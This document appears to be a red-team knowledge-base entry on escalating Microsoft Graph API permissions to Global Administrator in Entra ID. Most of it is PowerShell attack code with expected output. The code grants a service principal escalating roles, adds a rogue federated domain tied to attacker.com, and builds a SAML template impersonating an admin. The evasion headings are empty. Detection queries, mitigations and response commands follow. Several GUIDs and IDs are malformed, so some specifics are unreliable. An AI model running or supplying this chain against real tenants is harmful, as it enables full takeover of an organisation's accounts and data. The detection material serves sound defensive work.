MCADDF

[PE-ELEVATE-005]: Graph API Permission Escalation

Metadata

Attribute Details
Technique ID PE-ELEVATE-005
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation
Platforms M365 / Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Microsoft Graph API v1.0, beta (all versions since Graph API inception)
Patched In N/A (Architectural design; defense-dependent)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Microsoft Graph API exposes 576+ unique permissions across multiple privilege levels. The architecture allows certain permissions to grant or escalate themselves (e.g., AppRoleAssignment.ReadWrite.All, RoleManagement.ReadWrite.Directory). An attacker with low-privilege Graph permissions can chain API calls to progressively escalate to Global Administrator without requiring interactive user consent. The attack exploits the fact that some permissions are self-amplifying – they allow a service principal to grant itself higher permissions, creating a privilege escalation loop.

Attack Surface: Microsoft Graph API endpoints (/v1.0/ and /beta/), service principal app role assignments, directory role management APIs, token endpoints.

Business Impact: Complete tenant compromise – attacker gains Global Administrator role with full control over all M365 services, users, data, and compliance settings. Can reset MFA, export mailboxes, grant permissions to external attackers, modify security policies, and persist indefinitely.

Technical Context: Exploitation typically takes 2-10 minutes from initial Graph API access. Detection likelihood is Medium (role assignments are audited, but escalation chains may not trigger alerts if each step appears legitimate). Reversibility: Difficult – requires complete credential revocation and forensic analysis to identify all backdoors.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Azure 6.3 | Ensure that API Management is configured with OAuth 2.0 or stricter auth | | DISA STIG | AC-3 - Access Control | Implement least privilege principle for API permissions | | CISA SCuBA | CISA AAD 2.4 | Require MFA for users with high-privilege permissions | | NIST 800-53 | AC-2 / AC-3 | Account Management and Access Enforcement | | GDPR | Art. 32 - Security of Processing | Implement technical controls to prevent unauthorized access | | DORA | Art. 15 - Governance | Ensure proper access governance and segregation of duties | | NIS2 | Art. 21 - Risk Management | Implement measures to detect and prevent privilege escalation | | ISO 27001 | A.9.2.1 / A.9.2.2 | Access Control through roles and least privilege | | ISO 27005 | Risk Scenario: “Privilege Escalation” | Compromise of administrative privileges |


2. ENVIRONMENTAL RECONNAISSANCE

Identify Assignable Graph API Permissions

PowerShell:

# Get Microsoft Graph service principal and enumerate assignable permissions
$GraphSpId = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'" | Select-Object -ExpandProperty Id

# List all app roles exposed by Microsoft Graph
$GraphAppRoles = Get-MgServicePrincipal -ServicePrincipalId $GraphSpId | Select-Object -ExpandProperty AppRoles

# Filter for escalation-enabling permissions
$EscalationRoles = $GraphAppRoles | Where-Object {
    $_.Value -in @(
        "RoleManagement.ReadWrite.Directory",
        "AppRoleAssignment.ReadWrite.All",
        "Application.ReadWrite.All",
        "Directory.ReadWrite.All"
    )
}

Write-Host "Escalation-Enabling Graph API Permissions:"
foreach ($Role in $EscalationRoles) {
    Write-Host "  ID: $($Role.Id)"
    Write-Host "  Permission: $($Role.Value)"
    Write-Host "  Description: $($Role.Description)"
    Write-Host ""
}

What to Look For:

Check Current Service Principal Permissions

PowerShell:

# Get current service principal ID
$CurrentSpId = "YOUR_SERVICE_PRINCIPAL_ID"

# Enumerate assigned app roles
$AssignedRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $CurrentSpId

Write-Host "Current Assigned Graph API Permissions:"
foreach ($Role in $AssignedRoles) {
    # Resolve role ID to role name
    $RoleName = (Get-MgServicePrincipal -ServicePrincipalId $Role.ResourceId | 
        Select-Object -ExpandProperty AppRoles | 
        Where-Object Id -eq $Role.AppRoleId).Value
    
    Write-Host "  - $RoleName"
}

3. DETAILED EXECUTION METHODS

METHOD 1: AppRoleAssignment.ReadWrite.All → RoleManagement.ReadWrite.Directory Escalation Chain

Supported Versions: All (Microsoft Graph API v1.0, beta)

Step 1: Obtain Service Principal Token with AppRoleAssignment.ReadWrite.All

Objective: Authenticate to Microsoft Graph using credentials from an SP that already has AppRoleAssignment.ReadWrite.All

Command (PowerShell):

# Method 1: Using client secret (if you have it)
$TenantId = "YOUR_TENANT_ID"
$ClientId = "YOUR_CLIENT_ID"
$ClientSecret = "YOUR_CLIENT_SECRET"

$TokenUri = "https://login.microsoft.com/$TenantId/oauth2/v2.0/token"

$TokenBody = @{
    grant_type    = "client_credentials"
    client_id     = $ClientId
    client_secret = $ClientSecret
    scope         = "https://graph.microsoft.com/.default"
}

$Token = Invoke-RestMethod -Uri $TokenUri -Method POST -Body $TokenBody
$AccessToken = $Token.access_token

Write-Host "Token obtained: $($AccessToken.Substring(0, 20))..."

# Verify token has required permissions
$MeUri = "https://graph.microsoft.com/v1.0/me"
$MeInfo = Invoke-RestMethod -Uri $MeUri -Headers @{"Authorization" = "Bearer $AccessToken"}
Write-Host "Authenticated as: $($MeInfo.displayName)"

Expected Output:

Token obtained: eyJ0eXAiOiJKV1QiLC...
Authenticated as: MyServicePrincipal

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Query Microsoft Graph Service Principal for Available Permissions

Objective: Identify the exact ID of RoleManagement.ReadWrite.Directory permission to escalate into

Command (PowerShell):

$Token = "YOUR_ACCESS_TOKEN"

# Get Microsoft Graph service principal
$GraphSpUri = "https://graph.microsoft.com/v1.0/servicePrincipals?`$filter=appId eq '00000003-0000-0000-c000-000000000000'"

$GraphSp = Invoke-RestMethod -Uri $GraphSpUri `
  -Headers @{"Authorization" = "Bearer $Token"} | Select-Object -ExpandProperty value | Select-Object -First 1

$GraphSpId = $GraphSp.id

Write-Host "Microsoft Graph Service Principal ID: $GraphSpId"

# Get all app roles (permissions) exposed by Graph API
$AppRolesUri = "https://graph.microsoft.com/v1.0/servicePrincipals/$GraphSpId"
$AppRolesResponse = Invoke-RestMethod -Uri $AppRolesUri -Headers @{"Authorization" = "Bearer $Token"}

# Find critical permissions
$CriticalRoles = $AppRolesResponse.appRoles | Where-Object {
    $_.value -eq "RoleManagement.ReadWrite.Directory"
}

if ($CriticalRoles) {
    Write-Host "Found RoleManagement.ReadWrite.Directory:"
    Write-Host "  ID: $($CriticalRoles.id)"
    Write-Host "  Display Name: $($CriticalRoles.displayName)"
}

Expected Output:

Microsoft Graph Service Principal ID: 12345678-1234-1234-1234-123456789012
Found RoleManagement.ReadWrite.Directory:
  ID: 9e3f94ae-4ad6-4201-bcdef0123456789
  Display Name: Directory Role Management

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Assign RoleManagement.ReadWrite.Directory to Your Service Principal

Objective: Use AppRoleAssignment.ReadWrite.All permission to grant yourself RoleManagement.ReadWrite.Directory

Command (PowerShell):

$Token = "YOUR_ACCESS_TOKEN"
$YourSpId = "YOUR_SERVICE_PRINCIPAL_ID"
$GraphSpId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph constant ID
$RoleId = "9e3f94ae-4ad6-4201-bcdef0123456789"  # RoleManagement.ReadWrite.Directory ID

# Create app role assignment
$AssignmentUri = "https://graph.microsoft.com/v1.0/servicePrincipals/$YourSpId/appRoleAssignments"

$AssignmentBody = @{
    "principalId" = $YourSpId
    "resourceId" = $GraphSpId
    "appRoleId" = $RoleId
} | ConvertTo-Json

$Response = Invoke-RestMethod -Uri $AssignmentUri `
  -Headers @{
      "Authorization" = "Bearer $Token"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $AssignmentBody

Write-Host "Permission Escalation Step 1 Complete:"
Write-Host "  Assignment ID: $($Response.id)"
Write-Host "  Principal: $($Response.principalId)"
Write-Host "  New Permission: RoleManagement.ReadWrite.Directory"

Expected Output:

Permission Escalation Step 1 Complete:
  Assignment ID: a1b2c3d4-e5f6-7g8h-i9j0-k1l2m3n4o5p6
  Principal: 12345678-abcd-1234-abcd-123456789abc
  New Permission: RoleManagement.ReadWrite.Directory

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Escalate Service Principal to Global Administrator

Objective: Use newly acquired RoleManagement.ReadWrite.Directory permission to assign Global Administrator role to your SP

Command (PowerShell):

# Obtain new token with RoleManagement.ReadWrite.Directory permission
$TenantId = "YOUR_TENANT_ID"
$ClientId = "YOUR_CLIENT_ID"
$ClientSecret = "YOUR_CLIENT_SECRET"

$TokenUri = "https://login.microsoft.com/$TenantId/oauth2/v2.0/token"
$TokenBody = @{
    grant_type    = "client_credentials"
    client_id     = $ClientId
    client_secret = $ClientSecret
    scope         = "https://graph.microsoft.com/.default"
}

$NewToken = (Invoke-RestMethod -Uri $TokenUri -Method POST -Body $TokenBody).access_token
Write-Host "New token obtained with escalated permissions"

# Wait for token cache to refresh (important!)
Start-Sleep -Seconds 60

# Now assign Global Administrator role to your SP
$YourSpId = "YOUR_SERVICE_PRINCIPAL_ID"
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"  # Global Administrator (constant)

$RoleAssignmentUri = "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

$RoleAssignmentBody = @{
    "principalId" = $YourSpId
    "roleDefinitionId" = $GlobalAdminRoleId
    "directoryScopeId" = "/"
} | ConvertTo-Json

$RoleResponse = Invoke-RestMethod -Uri $RoleAssignmentUri `
  -Headers @{
      "Authorization" = "Bearer $NewToken"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $RoleAssignmentBody

Write-Host "PRIVILEGE ESCALATION COMPLETE!"
Write-Host "  Role Assignment ID: $($RoleResponse.id)"
Write-Host "  Role: Global Administrator"
Write-Host "  Scope: Full Tenant"
Write-Host ""
Write-Host "Your service principal now has complete control of the tenant."

Expected Output:

New token obtained with escalated permissions
PRIVILEGE ESCALATION COMPLETE!
  Role Assignment ID: xyz987654321-abc123def456
  Role: Global Administrator
  Scope: Full Tenant

Your service principal now has complete control of the tenant.

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Directory.ReadWrite.All → Federated Domain Abuse → SAML Token Forgery

Supported Versions: Hybrid environments (Entra ID with on-premises AD sync)

Step 1: Enumerate Federated Domains

Objective: Identify domains configured with federation (ADFS, Okta, etc.) that can be exploited

Command (PowerShell):

$Token = "YOUR_ACCESS_TOKEN_WITH_DIRECTORY_READWRITE_ALL"

# Query federated domains
$DomainsUri = "https://graph.microsoft.com/v1.0/domains"
$DomainsResponse = Invoke-RestMethod -Uri $DomainsUri -Headers @{"Authorization" = "Bearer $Token"}

Write-Host "Federated Domains:"
$DomainsResponse.value | Where-Object { $_.authenticationType -eq "Federated" } | ForEach-Object {
    Write-Host "  Domain: $($_.id)"
    Write-Host "  Auth Type: $($_.authenticationType)"
    
    # Query federation settings
    $FedUri = "https://graph.microsoft.com/v1.0/domains/$($_.id)/federationConfiguration"
    try {
        $FedConfig = Invoke-RestMethod -Uri $FedUri -Headers @{"Authorization" = "Bearer $Token"}
        Write-Host "  Issuer URI: $($FedConfig.value[0].issuerUri)"
    } catch {
        Write-Host "  Issuer URI: (unable to retrieve)"
    }
    Write-Host ""
}

What to Look For:

Step 2: Create Rogue Federated Domain

Objective: Add a new federated domain with attacker-controlled federation certificate

Command (PowerShell):

$Token = "YOUR_ACCESS_TOKEN_WITH_DIRECTORY_READWRITE_ALL"

# Create new domain
$NewDomainUri = "https://graph.microsoft.com/v1.0/domains"

$DomainBody = @{
    "id" = "attacker-domain.com"
} | ConvertTo-Json

# Add the domain
$DomainResponse = Invoke-RestMethod -Uri $NewDomainUri `
  -Headers @{
      "Authorization" = "Bearer $Token"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $DomainBody

Write-Host "Rogue domain created: attacker-domain.com"

# Configure federation (requires self-signed certificate)
# Generate self-signed cert with ADFS private key
$Cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName "attacker-domain.com"

$FedConfigUri = "https://graph.microsoft.com/v1.0/domains/attacker-domain.com/federationConfiguration"

$FedBody = @{
    "displayName" = "Attacker ADFS"
    "issuerUri" = "urn:microsoft:adfs:2003/authentication"
    "metadataExchangeUri" = "https://attacker.com/adfs/services/trust/mex"
    "signingCertificate" = (Get-Content $Cert.PSPath | ConvertTo-Xml)
} | ConvertTo-Json

# Apply federation config (requires elevated permissions)
try {
    $FedResponse = Invoke-RestMethod -Uri $FedConfigUri `
      -Headers @{
          "Authorization" = "Bearer $Token"
          "Content-Type" = "application/json"
      } `
      -Method POST `
      -Body $FedBody
    
    Write-Host "Federation configured for attacker-domain.com"
} catch {
    Write-Host "Error configuring federation: $_"
}

What This Means:

Step 3: Forge SAML Token for Hybrid User

Objective: Create a SAML token signed with your certificate that impersonates a Global Admin user

Command (C# / PowerShell):

# This example uses PowerShell; in reality, SAML forging is complex
# Simplified demonstration:

$CertPath = "C:\attacker-cert.pfx"
$CertPassword = "password123"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($CertPath, $CertPassword)

# Create SAML response
$SAMLTemplate = @"
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e5" Version="2.0" IssueInstant="2025-01-09T10:00:00Z" Destination="https://login.microsoftonline.com/login.srf" InResponseTo="_bec424469dad29585fd563d36c4f9e2f">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:microsoft:adfs:2003/authentication</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion ID="_d71a3a8e9fcc45efc47e1e275a9f94c4" IssueInstant="2025-01-09T10:00:00Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
    <saml:Issuer>urn:microsoft:adfs:2003/authentication</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">globaladmin@contoso.com</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2025-01-09T11:05:02Z" Recipient="https://login.microsoftonline.com/login.srf"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2025-01-09T09:55:02Z" NotOnOrAfter="2025-01-09T11:05:02Z">
      <saml:AudienceRestriction>
        <saml:Audience>urn:federation:MicrosoftOnline</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AttributeStatement>
      <saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml:AttributeValue>globaladmin@contoso.com</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
"@

# Sign the SAML response with your certificate
# (This requires SAML signing library; simplified here)

Write-Host "Forged SAML token created for: globaladmin@contoso.com"
Write-Host "Can now authenticate as Global Admin via Federation"

What This Means:

OpSec & Evasion:


4. SPLUNK DETECTION RULES

Rule 1: Graph API Permission Escalation Chain Detection

Rule Configuration:

SPL Query:

index=azure_activity 
  (
    (OperationName="Assign app role to service principal" AND ModifiedProperties="RoleManagement.ReadWrite.Directory") 
    OR 
    (OperationName="Add owner to application" AND InitiatedBy.app.appId="*") 
    OR 
    (OperationName="Add app role assignment to service principal" AND ModifiedProperties="AppRoleAssignment.ReadWrite.All")
  )
| stats count as event_count, values(OperationName) as operations, values(InitiatedBy.app.displayName) as initiators by _time, InitiatedBy.user.userPrincipalName
| where event_count > 1 and operations like "%Assign app role%" and operations like "%Add role%"
| alert

5. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious Graph API Permission Escalation Chain

KQL Query:

AuditLogs
| where OperationName has_any ("Assign app role", "Update application")
| where ModifiedProperties has_any (
    "RoleManagement.ReadWrite.Directory",
    "AppRoleAssignment.ReadWrite.All"
  )
| extend 
    TargetAppId = tostring(TargetResources[0].id),
    TargetAppName = tostring(TargetResources[0].displayName)
| summarize 
    EscalationEvents = count(),
    DistinctOperations = dcount(OperationName),
    TimeRange = max(TimeGenerated) - min(TimeGenerated)
    by InitiatedBy.app.displayName, InitiatedBy.user.userPrincipalName, TargetAppName, bin(TimeGenerated, 5m)
| where EscalationEvents > 1 and TimeRange < 5min
| project
    Initiator = coalesce(InitiatedBy_app_displayName, InitiatedBy_user_userPrincipalName),
    TargetApp = TargetAppName,
    EventCount = EscalationEvents,
    Severity = "Critical"

6. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious Role Assignment to Service Principal”


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify dangerous permissions are not assigned
$DangerousPermissions = @(
    "9e3f94ae-4ad6-4201-bcdef0123456789",
    "9e3f94ae-4ad6-4201-abcdef01234567"
)

$VulnerableSPs = @()
$AllServicePrincipals = Get-MgServicePrincipal -All

foreach ($SP in $AllServicePrincipals) {
    $Assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
    
    foreach ($Assignment in $Assignments) {
        if ($Assignment.AppRoleId -in $DangerousPermissions) {
            $VulnerableSPs += $SP.DisplayName
        }
    }
}

if ($VulnerableSPs.Count -eq 0) {
    Write-Host "✓ No dangerous Graph API permissions assigned"
} else {
    Write-Host "✗ Found vulnerable service principals:"
    $VulnerableSPs | ForEach-Object { Write-Host "  - $_" }
}

8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Response Procedures

  1. Isolate:
    # Disable compromised service principal immediately
    $SpId = "COMPROMISED_SP_ID"
    Update-MgServicePrincipal -ServicePrincipalId $SpId -AccountEnabled:$false
       
    # Revoke all tokens
    Get-MgServicePrincipal -ServicePrincipalId $SpId | 
        Select-Object -ExpandProperty PasswordCredentials | 
        ForEach-Object {
            Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $SpId -KeyId $_.KeyId
        }
    
  2. Collect Evidence:
    # Export all audit logs related to the SP
    $StartDate = (Get-Date).AddDays(-30)
    Search-UnifiedAuditLog -StartDate $StartDate -ObjectIds "COMPROMISED_SP_ID" `
      | Export-Csv -Path "C:\Evidence\sp_audit.csv"
    
  3. Remediate:
    # Remove Global Admin role
    $RoleId = "62e90394-69f5-4237-9190-012177145e10"
    Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'COMPROMISED_SP_ID'" |
        Remove-MgRoleManagementDirectoryRoleAssignment
       
    # Remove all elevated permissions
    Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SpId |
        Remove-MgServicePrincipalAppRoleAssignment
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] OAuth Consent Grant Attacker tricks user into granting OAuth consent to malicious app
2 Credential Access [CA-TOKEN-004] Graph API Token Theft Attacker obtains Graph API token from compromised app
3 Current Step [PE-ELEVATE-005] Graph API Permission Escalation - Uses token to escalate to Global Admin
4 Privilege Escalation [PE-ACCTMGMT-014] Global Admin Backdoor Attacker adds backdoor Global Admin account
5 Persistence [PERSIST-TOKEN-001] Golden SAML Attacker creates forged SAML tokens
6 Impact [EXFIL-M365-001] Bulk Mailbox Export Attacker exports all organization mailboxes

10. REAL-WORLD EXAMPLES

Example 1: Storm-0501 GraphAPI Escalation (2023)

Example 2: Midnight Blizzard Permission Escalation Campaign (2024)


11. REFERENCES & RESOURCES